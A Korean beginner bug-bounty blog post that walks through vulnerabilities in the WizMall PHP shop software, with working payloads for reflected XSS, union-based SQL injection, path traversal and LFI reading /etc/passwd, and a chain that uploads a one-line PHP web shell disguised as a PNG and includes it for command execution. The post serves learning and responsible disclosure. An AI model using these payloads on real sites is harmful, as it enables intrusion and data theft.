[버그바운티 초급] 위즈몰(wizmall) 취약점

janequeen·2024년 10월 26일

XSS - Reflected

  • 사용자의 입력 값이 응답 내용에 별도의 필터링 없이 돌아온다는 것입니다.
  • 사용자의 입력 값을 되돌려 받는다는 느낌에 반사된이라는 표현을 사용합니다.
//예시
http://localhost/index.php?title=<script>alert(1)</script> //URL 요청
<h1><script>alert(1)</script></h1> //결과

악용 시나리오

  • 사용자/관리자의 세션 탈취, 피싱 사이트 유도, 다른 취약점과 체이닝

실습

filename 파라미터 부분에 base64 내용이 encoding 되어있다.

// );</script><script>alert(1);// 삽입
filepaste("base64 encode==" "");</script><script>alert(1);// ( 0 B)");

파라미터에서 공격자가 입력한 값이 base64 디코딩 이후에 별도로 필터링하고 있지 않아서 취약하다.

XSS 발생

SQL Injection - Union-based

  • Union 기반 SQLi는 DB로 질의한 쿼리가 HTTP 응답 내용에 표시될 때, SQL 쿼리를 조작해 DB 구조 및 저장된 민감 데이터를 획득하기 위해 사용되는 기법이다.

예시

mysql> SELECT 1, 2 UNION SELECT VERSION(), USER(); //버전 정보, 사용자 정보 출력
  • DB 정보 추출이 목적

username 파라미터에서

username='union+select+1,2,3,4,version(), 6%23&userjumin=0&userid=3 //request
0000|2|3|4|1|6|5.7.37 //response 부분에서 version 정보 출력

username 이라는 변수가 별도의 필터링 없이 sql 구문이 그대로 들어가는 것을 볼 수 있다.

mname='".$username."' AND ~~~ // sql 구문 그대로 들어가는 코드

sqli 취약점 발생

File Download - Path Traversal

  • 파일 다운로드 취약점은 보통 ../ 를 사용
  • 이렇게 상위 경로로 가는 것을 Path Traversal

예시

http://locallhost/download?filename=../../../etc/passwd

악용 시나리오

  • 소스코드 탈취
  • 서버 내 민감 정보 탈취

File Download - LFI 취약점

  • Local File Inclusion
  • php에서 많이 발생. php는 include라는 함수가 있음
  • include에 들어오는 인자값을 공격자가 조작하면 어떻게 될까요?
  • include는 확장자와 상관없이 모든 파일을 가져와서 현재 페이지에 포함시킵니다.(RCE랑도 연계 가능)

실습

/util/error.php?file=../../../etc/passwd //file이라는 파라미터를 통해 상위 디렉터리에 접근해서 /etc/passwd 읽어옴
<?php
$file_name = $_GET["file"]; //GET 메서드로 file 파라미터를 사용자로부터 받아오고 있음
include_once "../lib/inc.depth1.php";
include $DOCUMENT_ROOT."/".$file_name; //../에 대한 필터링이 없는 채로 include 되고 있음을 확인

Remote Code Excution

  • RCE 공격은 공격자가 대상 서버에서 임의 코드를 실행할 수 있는 공격입니다.

악용 시나리오

  • 멀웨어 배포
  • 정보 탈취, 파괴

체이닝이란?

  • 여러 취약점들을 연계하거나 단일 취약점과 다른 정상적인 기능들을 함꼐 사용해 취약점 파급도를 높이는 것을 의미함
  • RCE까지 도달하는데 어렵기 때문에 취약점 체이닝을 통해 만들어 내는 편이다.

체이닝 실습

  1. PHP 코드 담긴 이미지 파일 업로드
filename="abc.png" //임의의 이미지 파일을 업로드 하면서

<?php $_POST['a']($_POST['b']); ?> //내용물로는 PHP 코드 작성해서 Request
//Response 내용에 업로드 된 파일의 전체 경로 출력
  1. LFI 취약점으로 이미지 파일 include

Response에 출력된 파일 경로에

a=system&b=cat+/etc/passwd // php 코드에 a,b 파라미터 이용해서 다음 매개변수들을 입력 후 Request
Response에 /etc/passwd 파일을 내용 출력
  • RCE 취약점으로 발전 가능

리포트 작성 개요

https://domdomiworld.notion.site/3df282f9d230458d898e6e280f0c1156?pvs=4

0개의 댓글